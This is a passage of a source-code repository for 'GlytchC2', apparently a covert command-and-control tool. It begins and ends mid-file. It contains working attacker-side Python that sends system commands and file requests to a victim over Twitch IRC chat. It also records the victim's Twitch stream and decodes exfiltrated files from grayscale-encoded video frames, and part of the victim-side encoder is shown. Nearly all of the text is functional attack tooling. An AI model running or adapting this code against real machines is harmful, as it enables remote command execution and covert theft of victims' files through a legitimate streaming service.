82 | 83 | print(f"[Attacker] Starting crawler with output pattern: {output_pattern}") 84 | while True: 85 | try: 86 | subprocess.run(crawler_cmd, check=True) 87 | break # exit loop if crawler succeeds 88 | except subprocess.CalledProcessError as e: 89 | print(f"[Attacker] Crawler failed to get stream link, retrying in {RETRY_DELAY} seconds...") 90 | time.sleep(RETRY_DELAY) 91 | 92 | # Remove duplicate PNG frames. 93 | seen_hashes = set() 94 | png_files = sorted(f for f in os.listdir() if f.endswith(".png") and f.startswith(uid)) 95 | for f in png_files: 96 | with open(f, "rb") as img: 97 | h = hashlib.sha256(img.read()).hexdigest() 98 | if h in seen_hashes: 99 | os.remove(f) 100 | print(f"[Attacker] Removed duplicate frame: {f}") 101 | else: 102 | seen_hashes.add(h) 103 | 104 | if not png_files: 105 | print("[Attacker] No PNG frames found for decoding.") 106 | return None 107 | 108 | # Run decoder.py with the list of PNG files. 109 | decoder_cmd = ["python", DECODER_SCRIPT] + png_files 110 | try: 111 | # Capture decoder's stdout. 112 | result = subprocess.check_output(decoder_cmd, stderr=subprocess.STDOUT) 113 | output = result.decode() 114 | print("[Attacker] Decoder output:") 115 | print(output) 116 | # Look for the line that says "Reconstructed data saved to " 117 | import re 118 | match = re.search(r"Reconstructed data saved to (.+)", output) 119 | if match: 120 | reconstructed_file = match.group(1).strip() 121 | print(f"[Attacker] Decoded file available as: {reconstructed_file}") 122 | return reconstructed_file 123 | else: 124 | print("[Attacker] Could not parse the reconstructed file name from decoder output.") 125 | return None 126 | except subprocess.CalledProcessError as e: 127 | print("[Attacker] Decoder failed:", e.output.decode()) 128 | return None 129 | 130 | def main(): 131 | 132 | print(banner) 133 | 134 | parser = argparse.ArgumentParser( 135 | description="Attacker: send commands over Twitch IRC and capture victim's stream" 136 | ) 137 | parser.add_argument("--channel", required=True, help="Twitch channel name to watch") 138 | args = parser.parse_args() 139 | 140 | # Use default (anonymous) credentials from twitch_chat_irc. 141 | chat = TwitchChatIRC() 142 | try: 143 | while True: 144 | user_input = input("Enter system command or file request (prefix file: to request file): ").strip() 145 | if not user_input: 146 | break 147 | 148 | uid = send_command(chat, args.channel, user_input) 149 | 150 | # Wait for "OK" message (ignore errors). 151 | if not wait_for_response(chat, args.channel, "OK", OK_TIMEOUT): 152 | print("[Attacker] Proceeding despite missing OK.") 153 | else: 154 | # Once OK is received, wait for "READY". 155 | if not wait_for_response(chat, args.channel, "READY", READY_TIMEOUT): 156 | print("[Attacker] Did not receive READY; skipping this round.") 157 | continue 158 | # When READY arrives, reply with "OK". 159 | chat.send(args.channel, "OK") 160 | print("[Attacker] Sent OK after READY. Beginning stream capture.") 161 | 162 | # Capture and process the stream. 163 | result_file = capture_stream(uid, args.channel) 164 | if result_file: 165 | if user_input.startswith("file:"): 166 | print(f"[Attacker] Received file: {result_file}") 167 | else: 168 | print(f"[Attacker] Command output from {result_file}:") 169 | with open(result_file, "r") as f: 170 | print(f.read()) 171 | else: 172 | print("[Attacker] No file recovered from the stream.") 173 | except KeyboardInterrupt: 174 | print("\n[Attacker] Exiting.") 175 | finally: 176 | chat.close_connection() 177 | 178 | if __name__ == "__main__": 179 | main() 180 | -------------------------------------------------------------------------------- /attacker/crawler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import subprocess 3 | import sys 4 | import argparse 5 | 6 | def get_stream_url(channel_url, quality): 7 | """ 8 | Uses streamlink to extract the m3u8 URL for a given Twitch channel. 9 | """ 10 | try: 11 | # Run the streamlink command and capture its stdout. 12 | result = subprocess.run( 13 | ["streamlink", "--stream-url", channel_url, quality], 14 | capture_output=True, 15 | text=True, 16 | check=True 17 | ) 18 | stream_url = result.stdout.strip() 19 | if not stream_url: 20 | raise ValueError("No stream URL found") 21 | return stream_url 22 | except subprocess.CalledProcessError as e: 23 | print("Error running streamlink command:", e, file=sys.stderr) 24 | sys.exit(1) 25 | except Exception as e: 26 | print("Error:", e, file=sys.stderr) 27 | sys.exit(1) 28 | 29 | def record_stream(stream_url, output_file): 30 | """ 31 | Uses ffmpeg to capture frames from the provided stream URL and save them as images. 32 | """ 33 | try: 34 | # Capture one frame per second and save as images using the given filename pattern. 35 | ffmpeg_command = ["ffmpeg", "-i", stream_url, "-vf", "fps=1", output_file] 36 | print("Running ffmpeg command:", " ".join(ffmpeg_command)) 37 | subprocess.run(ffmpeg_command, check=True) 38 | except subprocess.CalledProcessError as e: 39 | print("Error running ffmpeg command:", e, file=sys.stderr) 40 | sys.exit(1) 41 | 42 | def main(): 43 | parser = argparse.ArgumentParser( 44 | description="Extract Twitch stream URL using streamlink and capture frames using ffmpeg." 45 | ) 46 | parser.add_argument( 47 | "--channel", 48 | default="https://twitch.tv/bilocan1337", 49 | help="Twitch channel URL (default: https://twitch.tv/bilocan1337)" 50 | ) 51 | parser.add_argument( 52 | "--quality", 53 | default="best", 54 | help="Stream quality to extract (default: best)" 55 | ) 56 | parser.add_argument( 57 | "--output", 58 | default="frame-%04d.png", 59 | help="Output filename pattern for ffmpeg recording (default: frame-%04d.png)" 60 | ) 61 | args = parser.parse_args() 62 | 63 | print("Extracting stream URL for channel:", args.channel) 64 | stream_url = get_stream_url(args.channel, args.quality) 65 | print("Retrieved stream URL:", stream_url) 66 | 67 | print("Capturing frames to files with pattern:", args.output) 68 | record_stream(stream_url, args.output) 69 | 70 | if __name__ == "__main__": 71 | main() 72 | -------------------------------------------------------------------------------- /attacker/decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse, math, os, glob 3 | from PIL import Image 4 | 5 | # These constants must match those used by the encoder. 6 | HEADER_HEIGHT = 50 # Height of header band in the data region 7 | FILENAME_FIELD_SIZE = 256 # Must match encoder’s value. 8 | FILENAME_LENGTH_FIELD_SIZE = 2 9 | HEADER_EXTRA = FILENAME_LENGTH_FIELD_SIZE + FILENAME_FIELD_SIZE 10 | HEADER_FIXED_BYTES = 4 + 2 + 2 + 4 + 4 + 1 + 2 + 2 # =21 bytes 11 | HEADER_BYTES = HEADER_FIXED_BYTES + HEADER_EXTRA # = 21 + 258 = 279 bytes 12 | HEADER_NIBBLES = HEADER_BYTES * 2 13 | MARKER_COLOR = 128 # Marker color (should not be a multiple of 17) 14 | 15 | def color_to_nibble(gray_val): 16 | """Convert an 8-bit grayscale value to a nibble (0–15).""" 17 | return gray_val // 17 18 | 19 | def find_marker_edges(img, threshold=0.8, search_window=100, debug=False): 20 | """ 21 | Scan near each edge of the image (within 'search_window' pixels) to detect marker lines. 22 | A row/column is accepted if at least 'threshold' fraction of its pixels equal MARKER_COLOR. 23 | Returns (top, bottom, left, right) coordinates. 24 | """ 25 | width, height = img.size 26 | 27 | def check_row(y): 28 | count = sum(1 for x in range(width) if img.getpixel((x, y)) == MARKER_COLOR) 29 | fraction = count / width 30 | if debug: 31 | print(f"Row {y}: {fraction*100:.1f}% marker") 32 | return fraction 33 | 34 | def check_col(x): 35 | count = sum(1 for y in range(height) if img.getpixel((x, y)) == MARKER_COLOR) 36 | fraction = count / height 37 | if debug: 38 | print(f"Col {x}: {fraction*100:.1f}% marker") 39 | return fraction 40 | 41 | top = next((y for y in range(0, min(search_window, height)) if check_row(y) >= threshold), None) 42 | bottom = next((y for y in range(height - 1, max(height - search_window, 0) - 1, -1) if check_row(y) >= threshold), None) 43 | left = next((x for x in range(0, min(search_window, width)) if check_col(x) >= threshold), None) 44 | right = next((x for x in range(width - 1, max(width - search_window, 0) - 1, -1) if check_col(x) >= threshold), None) 45 | 46 | if None in (top, bottom, left, right): 47 | raise ValueError("Failed to detect marker lines on one or more sides.") 48 | return top, bottom, left, right 49 | 50 | def extract_header(img, data_x, data_y, data_width): 51 | """Extract the header from the top of the data region.""" 52 | header_nibbles = [] 53 | for i in range(HEADER_NIBBLES): 54 | cell_left = data_x + round(i * data_width / HEADER_NIBBLES) 55 | cell_right = data_x + round((i + 1) * data_width / HEADER_NIBBLES) 56 | center_x = (cell_left + cell_right) // 2 57 | center_y = data_y + HEADER_HEIGHT // 2 58 | header_nibbles.append(color_to_nibble(img.getpixel((center_x, center_y)))) 59 | header_bytes = bytearray() 60 | for i in range(0, HEADER_NIBBLES, 2): 61 | header_bytes.append((header_nibbles[i] << 4) | header_nibbles[i+1]) 62 | return header_bytes 63 | 64 | def decode_fragment(filename, threshold, search_window, debug, fb_width, fb_height, fb_border): 65 | """ 66 | Decodes a fragment image: 67 | - Uses marker detection (or fallback if needed) to define the data region. 68 | - Extracts the header and payload grid. 69 | Returns a tuple: (fragment index, total fragments, payload bytes, file_name, header_signature) 70 | where header_signature is (expected_width_from_header, expected_height_from_header, border_in_header, file_name). 71 | """ 72 | img = Image.open(filename).convert("L") 73 | rec_width, rec_height = img.size 74 | print(f"Processing {filename} (size: {rec_width}×{rec_height})") 75 | 76 | fallback_used = False 77 | try: 78 | top_marker, bottom_marker, left_marker, right_marker = find_marker_edges(img, threshold, search_window, debug) 79 | print(f" Detected markers: top={top_marker}, bottom={bottom_marker}, left={left_marker}, right={right_marker}") 80 | except ValueError: 81 | fallback_used = True 82 | offset_x = (fb_width - rec_width) // 2 83 | top_marker = fb_border 84 | left_marker = fb_border - offset_x 85 | right_marker = fb_width - fb_border - 1 - offset_x 86 | bottom_marker = fb_height - fb_border - 1 87 | print(" Marker detection failed; using fallback based on expected dimensions:") 88 | print(f" Fallback markers: top={top_marker}, bottom={bottom_marker}, left={left_marker}, right={right_marker}") 89 | 90 | safe_x = left_marker 91 | safe_y = top_marker 92 | safe_width = right_marker - left_marker + 1 93 | safe_height = bottom_marker - top_marker + 1 94 | data_x = safe_x + 1 95 | data_y = safe_y + 1 96 | data_width = safe_width - 2 97 | data_height = safe_height - 2 98 | 99 | header_bytes = extract_header(img, data_x, data_y, data_width) 100 | if len(header_bytes) != HEADER_BYTES: 101 | raise ValueError("Header extraction failed.") 102 | 103 | # Parse header fixed part. 104 | payload_length = int.from_bytes(header_bytes[0:4], 'big') 105 | grid_cols = int.from_bytes(header_bytes[4:6], 'big') 106 | grid_rows = int.from_bytes(header_bytes[6:8], 'big') 107 | header_frag_index = int.from_bytes(header_bytes[8:12], 'big') 108 | total_fragments = int.from_bytes(header_bytes[12:16], 'big') 109 | border_in_header = header_bytes[16] 110 | expected_width_from_header = int.from_bytes(header_bytes[17:19], 'big') 111 | expected_height_from_header = int.from_bytes(header_bytes[19:21], 'big') 112 | 113 | # Parse file name field. 114 | file_name_length = int.from_bytes(header_bytes[21:23], 'big') 115 | file_name_bytes = header_bytes[23:23+FILENAME_FIELD_SIZE] 116 | file_name = file_name_bytes[:file_name_length].decode('utf-8', errors='replace') 117 | 118 | if fallback_used: 119 | print(" Overriding header values with fallback parameters.") 120 | border_in_header = fb_border 121 | expected_width_from_header = fb_width 122 | expected_height_from_header = fb_height 123 | 124 | print(" Decoded header:") 125 | print(f" Payload length: {payload_length} bytes") 126 | print(f" Grid: {grid_cols} cols x {grid_rows} rows") 127 | print(f" Fragment (header): {header_frag_index}/{total_fragments}") 128 | print(f" Border (in header): {border_in_header}px") 129 | print(f" Expected overall (header): {expected_width_from_header}×{expected_height_from_header}") 130 | print(f" File name: {file_name}") 131 | print(f" Data region (from markers/fallback): ({data_x}, {data_y}) {data_width}×{data_height}") 132 | 133 | # Skip fragments with zero payload. 134 | if payload_length == 0: 135 | raise ValueError("Invalid fragment: payload length is zero.") 136 | 137 | header_signature = (expected_width_from_header, expected_height_from_header, border_in_header, file_name) 138 | 139 | payload_area_top = data_y + HEADER_HEIGHT 140 | payload_area_height = data_height - HEADER_HEIGHT 141 | payload_nibbles = [] 142 | for r in range(grid_rows): 143 | for c in range(grid_cols): 144 | cell_left = data_x + round(c * data_width / grid_cols) 145 | cell_right = data_x + round((c + 1) * data_width / grid_cols) 146 | cell_top = payload_area_top + round(r * payload_area_height / grid_rows) 147 | cell_bottom = payload_area_top + round((r + 1) * payload_area_height / grid_rows) 148 | center_x = (cell_left + cell_right) // 2 149 | center_y = (cell_top + cell_bottom) // 2 150 | payload_nibbles.append(color_to_nibble(img.getpixel((center_x, center_y)))) 151 | expected_nibbles = payload_length * 2 152 | if len(payload_nibbles) < expected_nibbles: 153 | raise ValueError("Extracted payload is smaller than expected.") 154 | payload_bytes = bytearray() 155 | for i in range(0, expected_nibbles, 2): 156 | payload_bytes.append((payload_nibbles[i] << 4) | payload_nibbles[i+1]) 157 | 158 | return header_frag_index, total_fragments, payload_bytes, file_name, header_signature 159 | 160 | def main(): 161 | parser = argparse.ArgumentParser( 162 | description="Decoder with fallback, extended file name extraction, and 4-byte fragment count." 163 | ) 164 | parser.add_argument("input_png", nargs="+", help="Input PNG file(s) (fragments)") 165 | parser.add_argument("--threshold", type=float, default=0.8, help="Marker detection threshold (default: 0.8)") 166 | parser.add_argument("--search_window", type=int, default=100, help="Search window in pixels (default: 100)") 167 | parser.add_argument("--debug", action="store_true", help="Enable debug output for marker detection") 168 | parser.add_argument("--fallback_width", type=int, default=1920, help="Fallback overall image width (default: 1920)") 169 | parser.add_argument("--fallback_height", type=int, default=1080, help="Fallback overall image height (default: 1080)") 170 | parser.add_argument("--fallback_border", type=int, default=20, help="Fallback outer border thickness (default: 20)") 171 | parser.add_argument("--total_fragments_override", type=int, help="Override total fragments count from header") 172 | parser.add_argument("--use_filename_order", action="store_true", help="Ignore header fragment numbers and assign based on sorted filenames") 173 | args = parser.parse_args() 174 | 175 | filenames = sorted(args.input_png) 176 | fragments = {} 177 | file_name_extracted = None 178 | common_header = None # To store the signature from the first valid fragment. 179 | 180 | for i, filename in enumerate(filenames, start=1): 181 | try: 182 | frag_index, frag_total, frag_data, frag_file_name, header_sig = decode_fragment( 183 | filename, 184 | args.threshold, 185 | args.search_window, 186 | args.debug, 187 | args.fallback_width, 188 | args.fallback_height, 189 | args.fallback_border 190 | ) 191 | # Only set common_header if not already set. 192 | if common_header is None: 193 | common_header = header_sig 194 | else: 195 | # Skip fragments whose header signature does not match the common header. 196 | if header_sig != common_header: 197 | print(f"Skipping {filename}: header signature {header_sig} does not match common header {common_header}.") 198 | continue 199 | 200 | if args.use_filename_order: 201 | assigned_index = i 202 | print(f"File {os.path.basename(filename)} assigned as fragment {assigned_index} (header said {frag_index}).") 203 | frag_index = assigned_index 204 | frag_total = len(filenames) 205 | else: 206 | print(f"File {os.path.basename(filename)} decoded as fragment {frag_index}.") 207 | except Exception as e: 208 | print(f"Error decoding {filename}: {e}") 209 | continue 210 | 211 | if args.total_fragments_override: 212 | frag_total = args.total_fragments_override 213 | if frag_index in fragments: 214 | print(f"Warning: Duplicate fragment index {frag_index} found in {filename}; skipping duplicate.") 215 | else: 216 | fragments[frag_index] = frag_data 217 | if file_name_extracted is None: 218 | file_name_extracted = frag_file_name 219 | 220 | # Ensure we have all fragments based on the collected keys. 221 | if not fragments: 222 | raise ValueError("No valid fragments found.") 223 | sorted_keys = sorted(fragments.keys()) 224 | full_data = bytearray() 225 | for key in sorted_keys: 226 | full_data.extend(fragments[key]) 227 | 228 | if file_name_extracted is None or file_name_extracted == "": 229 | raise ValueError("No valid file name found in fragment headers.") 230 | output_file = file_name_extracted 231 | with open(output_file, "wb") as f: 232 | f.write(full_data) 233 | print(f"Reconstructed data saved to {output_file}") 234 | 235 | # Cleanup: delete blank.png and any file ending with -0001.png 236 | for f in glob.glob("blank.png"): 237 | try: 238 | os.remove(f) 239 | print(f"Deleted {f}") 240 | except Exception as e: 241 | print(f"Error deleting {f}: {e}") 242 | for f in glob.glob("*-0001.png"): 243 | try: 244 | os.remove(f) 245 | print(f"Deleted {f}") 246 | except Exception as e: 247 | print(f"Error deleting {f}: {e}") 248 | 249 | if __name__ == "__main__": 250 | main() 251 | -------------------------------------------------------------------------------- /attacker/example.env: -------------------------------------------------------------------------------- 1 | # Once credentials are set up, rename this file to .env 2 | # Go to https://twitchapps.com/tmi/ to get your oauth token 3 | # Credit: https://github.com/xenova/twitch-chat-irc 4 | NICK=username 5 | PASS=oauth:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 6 | -------------------------------------------------------------------------------- /attacker/twitch_chat_irc.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Credit: https://github.com/xenova/twitch-chat-irc 3 | ''' 4 | 5 | import socket, re, json, argparse, emoji, csv 6 | from decouple import config 7 | 8 | class DefaultUser(Exception): 9 | """Raised when you try send a message with the default user""" 10 | pass 11 | 12 | class CallbackFunction(Exception): 13 | """Raised when the callback function does not have (only) one required positional argument""" 14 | pass 15 | 16 | class TwitchChatIRC(): 17 | __HOST = 'irc.chat.twitch.tv' 18 | __DEFAULT_NICK = 'justinfan67420' 19 | __DEFAULT_PASS = 'SCHMOOPIIE' 20 | __PORT = 6667 21 | 22 | __PATTERN = re.compile(r'@(.+?(?=\s+:)).*PRIVMSG[^:]*:([^\r\n]*)') 23 | 24 | __CURRENT_CHANNEL = None 25 | 26 | def __init__(self, username = None, password = None): 27 | # try get from environment variables (.env) 28 | self.__NICK = config('NICK', self.__DEFAULT_NICK) 29 | self.__PASS = config('PASS', self.__DEFAULT_PASS) 30 | 31 | # overwrite if specified 32 | if(username is not None): 33 | self.__NICK = username 34 | if(password is not None): 35 | self.__PASS = 'oauth:'+str(password).lstrip('oauth:') 36 | 37 | # create new socket 38 | self.__SOCKET = socket.socket() 39 | 40 | # start connection 41 | self.__SOCKET.connect((self.__HOST, self.__PORT)) 42 | print('Connected to',self.__HOST,'on port',self.__PORT) 43 | 44 | # log in 45 | self.__send_raw('CAP REQ :twitch.tv/tags') 46 | self.__send_raw('PASS ' + self.__PASS) 47 | self.__send_raw('NICK ' + self.__NICK) 48 | 49 | def __send_raw(self, string): 50 | self.__SOCKET.send((string+'\r\n').encode('utf-8')) 51 | 52 | def __print_message(self, message): 53 | print('['+message['tmi-sent-ts']+']',message['display-name']+':',emoji.demojize(message['message']).encode('utf-8').decode('utf-8','ignore')) 54 | 55 | def __recvall(self, buffer_size): 56 | data = b'' 57 | while True: 58 | part = self.__SOCKET.recv(buffer_size) 59 | data += part 60 | if len(part) < buffer_size: 61 | break 62 | return data.decode('utf-8')#,'ignore' 63 | 64 | def __join_channel(self,channel_name): 65 | channel_lower = channel_name.lower() 66 | 67 | if(self.__CURRENT_CHANNEL != channel_lower): 68 | self.__send_raw('JOIN #{}'.format(channel_lower)) 69 | self.__CURRENT_CHANNEL = channel_lower 70 | 71 | def is_default_user(self): 72 | return self.__NICK == self.__DEFAULT_NICK 73 | 74 | def close_connection(self): 75 | self.__SOCKET.close() 76 | print('Connection closed') 77 | 78 | def listen(self, channel_name, messages = [], timeout=None, message_timeout=1.0, on_message = None, buffer_size = 4096, message_limit = None, output=None): 79 | self.__join_channel(channel_name) 80 | self.__SOCKET.settimeout(message_timeout) 81 | 82 | if(on_message is None): 83 | on_message = self.__print_message 84 | 85 | print('Begin retrieving messages:') 86 | 87 | time_since_last_message = 0 88 | readbuffer = '' 89 | try: 90 | while True: 91 | try: 92 | new_info = self.__recvall(buffer_size) 93 | readbuffer += new_info 94 | 95 | if('PING :tmi.twitch.tv' in readbuffer): 96 | self.__send_raw('PONG :tmi.twitch.tv') 97 | 98 | matches = list(self.__PATTERN.finditer(readbuffer)) 99 | 100 | if(matches): 101 | time_since_last_message = 0 102 | 103 | if(len(matches) > 1): 104 | matches = matches[:-1] # assume last one is incomplete 105 | 106 | last_index = matches[-1].span()[1] 107 | readbuffer = readbuffer[last_index:] 108 | 109 | for match in matches: 110 | data = {} 111 | for item in match.group(1).split(';'): 112 | keys = item.split('=',1) 113 | data[keys[0]]=keys[1] 114 | data['message'] = match.group(2) 115 | 116 | messages.append(data) 117 | 118 | if(callable(on_message)): 119 | try: 120 | on_message(data) 121 | except TypeError: 122 | raise Exception('Incorrect number of parameters for function '+on_message.__name__) 123 | 124 | if(message_limit is not None and len(messages) >= message_limit): 125 | return messages 126 | 127 | except socket.timeout: 128 | if(timeout != None): 129 | time_since_last_message += message_timeout 130 | 131 | if(time_since_last_message >= timeout): 132 | print('No data received in',timeout,'seconds. Timing out.') 133 | break 134 | 135 | except KeyboardInterrupt: 136 | print('Interrupted by user.') 137 | 138 | except Exception as e: 139 | print('Unknown Error:',e) 140 | raise e 141 | 142 | return messages 143 | 144 | def send(self, channel_name, message): 145 | self.__join_channel(channel_name) 146 | 147 | # check that is using custom login, not default 148 | if(self.is_default_user()): 149 | raise DefaultUser 150 | else: 151 | self.__send_raw('PRIVMSG #{} :{}'.format(channel_name.lower(),message)) 152 | print('Sent "{}" to {}'.format(message,channel_name)) 153 | 154 | 155 | if __name__ == '__main__': 156 | parser = argparse.ArgumentParser(description='Send and receive Twitch chat messages over IRC with python web sockets. For more info, go to https://dev.twitch.tv/docs/irc/guide') 157 | 158 | parser.add_argument('channel_name', help='Twitch channel name (username)') 159 | parser.add_argument('-timeout','-t', default=None, type=float, help='time in seconds needed to close connection after not receiving any new data (default: None = no timeout)') 160 | parser.add_argument('-message_timeout','-mt', default=1.0, type=float, help='time in seconds between checks for new data (default: 1 second)') 161 | parser.add_argument('-buffer_size','-b', default=4096, type=int, help='buffer size (default: 4096 bytes = 4 KB)') 162 | parser.add_argument('-message_limit','-l', default=None, type=int, help='maximum amount of messages to get (default: None = unlimited)') 163 | 164 | parser.add_argument('-username','-u', default=None, help='username (default: None)') 165 | parser.add_argument('-oauth', '-password','-p', default=None, help='oath token (default: None). Get custom one from https://twitchapps.com/tmi/') 166 | 167 | parser.add_argument('--send', action='store_true', help='send mode (default: False)') 168 | parser.add_argument('-output','-o', default=None, help='output file (default: None = print to standard output)') 169 | 170 | args = parser.parse_args() 171 | 172 | twitch_chat_irc = TwitchChatIRC(username=args.username,password=args.oauth) 173 | 174 | if(args.send): 175 | if(twitch_chat_irc.is_default_user()): 176 | print('Unable to send messages with default user. Please provide valid authentication.') 177 | else: 178 | try: 179 | while True: 180 | message = input('>>> Enter message (blank to exit): \n') 181 | if(not message): 182 | break 183 | twitch_chat_irc.send(args.channel_name, message) 184 | except KeyboardInterrupt: 185 | print('\nInterrupted by user.') 186 | 187 | else: 188 | messages = twitch_chat_irc.listen( 189 | args.channel_name, 190 | timeout=args.timeout, 191 | message_timeout=args.message_timeout, 192 | buffer_size=args.buffer_size, 193 | message_limit=args.message_limit) 194 | 195 | if(args.output != None): 196 | if(args.output.endswith('.json')): 197 | with open(args.output, 'w') as fp: 198 | json.dump(messages, fp) 199 | elif(args.output.endswith('.csv')): 200 | with open(args.output, 'w', newline='',encoding='utf-8') as fp: 201 | fieldnames = [] 202 | for message in messages: 203 | fieldnames+=message.keys() 204 | 205 | if(len(messages)>0): 206 | fc = csv.DictWriter(fp,fieldnames=list(set(fieldnames))) 207 | fc.writeheader() 208 | fc.writerows(messages) 209 | else: 210 | f = open(args.output,'w', encoding='utf-8') 211 | for message in messages: 212 | print('['+message['tmi-sent-ts']+']',message['display-name']+':',message['message'],file=f) 213 | f.close() 214 | 215 | print('Finished writing',len(messages),'messages to',args.output) 216 | 217 | twitch_chat_irc.close_connection() 218 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Pillow 2 | emoji 3 | python-decouple 4 | 5 | # The following are external dependencies: 6 | # - ffmpeg: Ensure ffmpeg is installed and available in your system PATH. 7 | # (Libx264 codec is used for video encoding.) 8 | -------------------------------------------------------------------------------- /rsc/GlytchC2_Banner.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/GlytchC2_Banner.PNG -------------------------------------------------------------------------------- /rsc/GlytchC2_MainExecutionFlow.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/GlytchC2_MainExecutionFlow.jpg -------------------------------------------------------------------------------- /rsc/GlytchC2_newbanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/GlytchC2_newbanner.png -------------------------------------------------------------------------------- /rsc/README.md: -------------------------------------------------------------------------------- 1 | Resource files will appear here 2 | -------------------------------------------------------------------------------- /rsc/attacker_commandexec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_commandexec.png -------------------------------------------------------------------------------- /rsc/attacker_decodeframe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_decodeframe.png -------------------------------------------------------------------------------- /rsc/attacker_fetchstreamlink.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_fetchstreamlink.png -------------------------------------------------------------------------------- /rsc/attacker_filerequest.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_filerequest.PNG -------------------------------------------------------------------------------- /rsc/attacker_initialexec.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_initialexec.PNG -------------------------------------------------------------------------------- /rsc/attacker_output1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_output1.PNG -------------------------------------------------------------------------------- /rsc/attacker_output2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_output2.png -------------------------------------------------------------------------------- /rsc/attacker_record.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_record.png -------------------------------------------------------------------------------- /rsc/attacker_removeduplicateframes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/attacker_removeduplicateframes.png -------------------------------------------------------------------------------- /rsc/victim_cleanup.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/victim_cleanup.PNG -------------------------------------------------------------------------------- /rsc/victim_initialexec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/victim_initialexec.png -------------------------------------------------------------------------------- /rsc/victim_initializestream.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/victim_initializestream.png -------------------------------------------------------------------------------- /rsc/victim_targetfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/victim_targetfile.png -------------------------------------------------------------------------------- /rsc/victim_twstreaming.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/victim_twstreaming.PNG -------------------------------------------------------------------------------- /rsc/yt_banner.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccelikanil/GlytchC2/fc74ea7629f7081175a1d4cdad2bd4f2000ffe66/rsc/yt_banner.PNG -------------------------------------------------------------------------------- /victim/encoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse, math, os 3 | from PIL import Image 4 | 5 | # Configuration constants. 6 | DEFAULT_BORDER = 20 # Outer border thickness (in pixels) 7 | HEADER_HEIGHT = 50 # Height of header band (drawn in the data region) 8 | MARKER_COLOR = 128 # Marker color (should not be a multiple of 17) 9 | MIN_CELL = 1 # Minimum cell size (in pixels) for robustness 10 | 11 | # File name header: Use 2 bytes for file name length and 256 bytes for file name. 12 | FILENAME_FIELD_SIZE = 256 13 | FILENAME_LENGTH_FIELD_SIZE = 2 # Using 2 bytes for filename length 14 | HEADER_EXTRA = FILENAME_LENGTH_FIELD_SIZE + FILENAME_FIELD_SIZE 15 | 16 | # New header structure: 17 | # • 4 bytes: payload length (in bytes) for this fragment 18 | # • 2 bytes: grid_cols (payload grid columns) 19 | # • 2 bytes: grid_rows (payload grid rows) 20 | # • 4 bytes: fragment index (starting at 1) 21 | # • 4 bytes: total fragments 22 | # • 1 byte: dummy border thickness (B) 23 | # • 2 bytes: expected overall image width 24 | # • 2 bytes: expected overall image height 25 | # • 2 bytes: file name length (L) 26 | # • 256 bytes: file name (UTF‑8, padded/truncated) 27 | HEADER_FIXED_BYTES = 4 + 2 + 2 + 4 + 4 + 1 + 2 + 2 # =21 bytes 28 | HEADER_BYTES = HEADER_FIXED_BYTES + HEADER_EXTRA # = 21 + 258 = 279 bytes 29 | HEADER_NIBBLES = HEADER_BYTES * 2 30 | 31 | def nibble_to_gray(nibble): 32 | """Map a nibble (0–15) to an 8‑bit grayscale value.""" 33 | return nibble * 17 34 | 35 | def draw_nested_frames(img, width, height, border, num_frames=2): 36 | """ 37 | Draw nested (photo-frame style) borders in the outer border area. 38 | Each frame is drawn with a constant grayscale color. 39 | """ 40 | frame_thickness = border // num_frames 41 | for i in range(num_frames): 42 | left = i * frame_thickness 43 | top = i * frame_thickness 44 | right = width - i * frame_thickness - 1 45 | bottom = height - i * frame_thickness - 1 46 | color = nibble_to_gray(i) 47 | # Top border. 48 | for y in 